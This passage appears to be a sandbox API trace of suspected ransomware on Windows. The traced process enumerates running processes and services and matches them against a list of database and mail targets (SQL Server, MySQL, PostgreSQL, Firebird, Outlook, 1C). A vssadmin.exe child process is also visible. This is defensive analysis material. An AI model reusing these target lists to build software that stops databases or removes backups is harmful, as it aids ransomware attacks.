[0042.589] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0042.589] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0042.589] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0042.589] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0042.590] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0042.590] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0042.590] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0042.590] Process32NextW (in: hSnapshot=0x204, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0042.590] lstrlenW (lpString="csrss.exe") returned 9 [0042.590] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0042.590] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0042.590] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0042.590] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0042.590] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0042.590] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0042.590] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0042.590] Process32NextW (in: hSnapshot=0x204, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0042.591] lstrlenW (lpString="wininit.exe") returned 11 [0042.591] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0042.591] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0042.591] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0042.591] Process32NextW (in: hSnapshot=0x204, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0042.591] lstrlenW (lpString="csrss.exe") returned 9 [0042.591] Process32NextW (in: hSnapshot=0x204, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0042.592] lstrlenW (lpString="winlogon.exe") returned 12 [0042.592] Process32NextW (in: hSnapshot=0x204, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0042.592] lstrlenW (lpString="services.exe") returned 12 [0042.592] Process32NextW (in: hSnapshot=0x204, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0042.593] lstrlenW (lpString="lsass.exe") returned 9 [0042.593] Process32NextW (in: hSnapshot=0x204, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0042.593] lstrlenW (lpString="lsm.exe") returned 7 [0042.593] Process32NextW (in: hSnapshot=0x204, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.594] lstrlenW (lpString="svchost.exe") returned 11 [0042.594] Process32NextW (in: hSnapshot=0x204, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.594] lstrlenW (lpString="svchost.exe") returned 11 [0042.594] Process32NextW (in: hSnapshot=0x204, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.595] lstrlenW (lpString="svchost.exe") returned 11 [0042.595] Process32NextW (in: hSnapshot=0x204, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.595] lstrlenW (lpString="svchost.exe") returned 11 [0042.595] Process32NextW (in: hSnapshot=0x204, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.596] lstrlenW (lpString="svchost.exe") returned 11 [0042.596] Process32NextW (in: hSnapshot=0x204, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0042.596] lstrlenW (lpString="audiodg.exe") returned 11 [0042.596] Process32NextW (in: hSnapshot=0x204, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.597] lstrlenW (lpString="svchost.exe") returned 11 [0042.597] Process32NextW (in: hSnapshot=0x204, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.597] lstrlenW (lpString="svchost.exe") returned 11 [0042.597] Process32NextW (in: hSnapshot=0x204, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0042.598] lstrlenW (lpString="dwm.exe") returned 7 [0042.598] Process32NextW (in: hSnapshot=0x204, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0042.598] lstrlenW (lpString="explorer.exe") returned 12 [0042.598] Process32NextW (in: hSnapshot=0x204, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0042.599] lstrlenW (lpString="spoolsv.exe") returned 11 [0042.599] Process32NextW (in: hSnapshot=0x204, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0042.599] lstrlenW (lpString="taskhost.exe") returned 12 [0042.599] Process32NextW (in: hSnapshot=0x204, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.600] lstrlenW (lpString="svchost.exe") returned 11 [0042.600] Process32NextW (in: hSnapshot=0x204, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0042.600] lstrlenW (lpString="taskeng.exe") returned 11 [0042.600] Process32NextW (in: hSnapshot=0x204, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0042.601] lstrlenW (lpString="taskhost.exe") returned 12 [0042.601] Process32NextW (in: hSnapshot=0x204, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dear.exe")) returned 1 [0042.601] lstrlenW (lpString="dear.exe") returned 8 [0042.601] Process32NextW (in: hSnapshot=0x204, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="b costa.exe")) returned 1 [0042.602] lstrlenW (lpString="b costa.exe") returned 11 [0042.602] Process32NextW (in: hSnapshot=0x204, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rc lock.exe")) returned 1 [0042.602] lstrlenW (lpString="rc lock.exe") returned 11 [0042.602] Process32NextW (in: hSnapshot=0x204, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="golden_bt_olive.exe")) returned 1 [0042.603] lstrlenW (lpString="golden_bt_olive.exe") returned 19 [0042.603] Process32NextW (in: hSnapshot=0x204, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hugown.exe")) returned 1 [0042.604] lstrlenW (lpString="hugown.exe") returned 10 [0042.604] Process32NextW (in: hSnapshot=0x204, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bless_gear_inquiry.exe")) returned 1 [0042.604] lstrlenW (lpString="bless_gear_inquiry.exe") returned 22 [0042.604] Process32NextW (in: hSnapshot=0x204, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ted_paragraph.exe")) returned 1 [0042.604] lstrlenW (lpString="ted_paragraph.exe") returned 17 [0042.605] Process32NextW (in: hSnapshot=0x204, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="locked welsh.exe")) returned 1 [0042.605] lstrlenW (lpString="locked welsh.exe") returned 16 [0042.605] Process32NextW (in: hSnapshot=0x204, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="votejoyceinstructors.exe")) returned 1 [0042.605] lstrlenW (lpString="votejoyceinstructors.exe") returned 24 [0042.606] Process32NextW (in: hSnapshot=0x204, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lebanon_executives.exe")) returned 1 [0042.606] lstrlenW (lpString="lebanon_executives.exe") returned 22 [0042.606] Process32NextW (in: hSnapshot=0x204, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="planners.exe")) returned 1 [0042.606] lstrlenW (lpString="planners.exe") returned 12 [0042.606] Process32NextW (in: hSnapshot=0x204, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="agreements.exe")) returned 1 [0042.607] lstrlenW (lpString="agreements.exe") returned 14 [0042.607] Process32NextW (in: hSnapshot=0x204, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tray.exe")) returned 1 [0042.607] lstrlenW (lpString="tray.exe") returned 8 [0042.608] Process32NextW (in: hSnapshot=0x204, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wp std.exe")) returned 1 [0042.608] lstrlenW (lpString="wp std.exe") returned 10 [0042.608] Process32NextW (in: hSnapshot=0x204, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lesser.exe")) returned 1 [0042.608] lstrlenW (lpString="lesser.exe") returned 10 [0042.608] Process32NextW (in: hSnapshot=0x204, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-tissue.exe")) returned 1 [0042.609] lstrlenW (lpString="right-tissue.exe") returned 16 [0042.609] Process32NextW (in: hSnapshot=0x204, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bunch.exe")) returned 1 [0042.609] lstrlenW (lpString="bunch.exe") returned 9 [0042.609] Process32NextW (in: hSnapshot=0x204, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="jam.exe")) returned 1 [0042.610] lstrlenW (lpString="jam.exe") returned 7 [0042.610] Process32NextW (in: hSnapshot=0x204, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chooseincidence.exe")) returned 1 [0042.610] lstrlenW (lpString="chooseincidence.exe") returned 19 [0042.610] Process32NextW (in: hSnapshot=0x204, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="numericalrear.exe")) returned 1 [0042.611] lstrlenW (lpString="numericalrear.exe") returned 17 [0042.611] Process32NextW (in: hSnapshot=0x204, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uponpharmacologyintermediate.exe")) returned 1 [0042.729] lstrlenW (lpString="uponpharmacologyintermediate.exe") returned 32 [0042.730] Process32NextW (in: hSnapshot=0x204, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expressed-plate-fbi.exe")) returned 1 [0042.730] lstrlenW (lpString="expressed-plate-fbi.exe") returned 23 [0042.730] Process32NextW (in: hSnapshot=0x204, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="come_wave.exe")) returned 1 [0042.730] lstrlenW (lpString="come_wave.exe") returned 13 [0042.731] Process32NextW (in: hSnapshot=0x204, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0042.731] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0042.731] Process32NextW (in: hSnapshot=0x204, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uyuquk.exe")) returned 1 [0042.731] lstrlenW (lpString="uyuquk.exe") returned 10 [0042.732] Process32NextW (in: hSnapshot=0x204, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x970, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0042.732] lstrlenW (lpString="cmd.exe") returned 7 [0042.732] Process32NextW (in: hSnapshot=0x204, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0042.732] lstrlenW (lpString="conhost.exe") returned 11 [0042.733] Process32NextW (in: hSnapshot=0x204, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0042.733] lstrlenW (lpString="vssadmin.exe") returned 12 [0042.733] Process32NextW (in: hSnapshot=0x204, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0042.734] lstrlenW (lpString="VSSVC.exe") returned 9 [0042.734] Process32NextW (in: hSnapshot=0x204, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0042.734] lstrlenW (lpString="svchost.exe") returned 11 [0042.734] Process32NextW (in: hSnapshot=0x204, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0042.735] CloseHandle (hObject=0x204) returned 1 [0042.735] Sleep (dwMilliseconds=0x1f4) [0043.321] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x566d90 [0043.321] EnumServicesStatusExW (in: hSCManager=0x566d90, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0) returned 0 [0043.321] GetLastError () returned 0xea [0043.321] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x12c6) returned 0x55e478 [0043.321] EnumServicesStatusExW (in: hSCManager=0x566d90, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x55e478, cbBufSize=0x12c6, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x55e478, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0) returned 1 [0043.322] CloseServiceHandle (hSCObject=0x566d90) returned 1 [0043.322] lstrlenW (lpString="Appinfo") returned 7 [0043.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0043.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0043.322] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0043.322] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0043.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0043.322] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0043.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0043.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0043.322] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0043.322] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0043.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0043.322] lstrlenW (lpString="AudioSrv") returned 8 [0043.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0043.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0043.322] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0043.322] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0043.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0043.322] lstrlenW (lpString="BFE") returned 3 [0043.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0043.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0043.323] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0043.323] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0043.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0043.323] lstrlenW (lpString="CryptSvc") returned 8 [0043.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0043.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0043.323] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0043.323] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0043.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0043.323] lstrlenW (lpString="CscService") returned 10 [0043.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0043.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0043.323] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0043.323] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0043.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0043.323] lstrlenW (lpString="DcomLaunch") returned 10 [0043.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0043.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0043.323] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0043.323] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0043.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0043.323] lstrlenW (lpString="Dhcp") returned 4 [0043.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0043.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0043.323] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0043.323] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0043.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0043.323] lstrlenW (lpString="Dnscache") returned 8 [0043.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0043.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0043.323] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0043.323] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0043.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0043.323] lstrlenW (lpString="DPS") returned 3 [0043.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0043.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0043.324] lstrcmpiW (lpString1="sqlwriter", 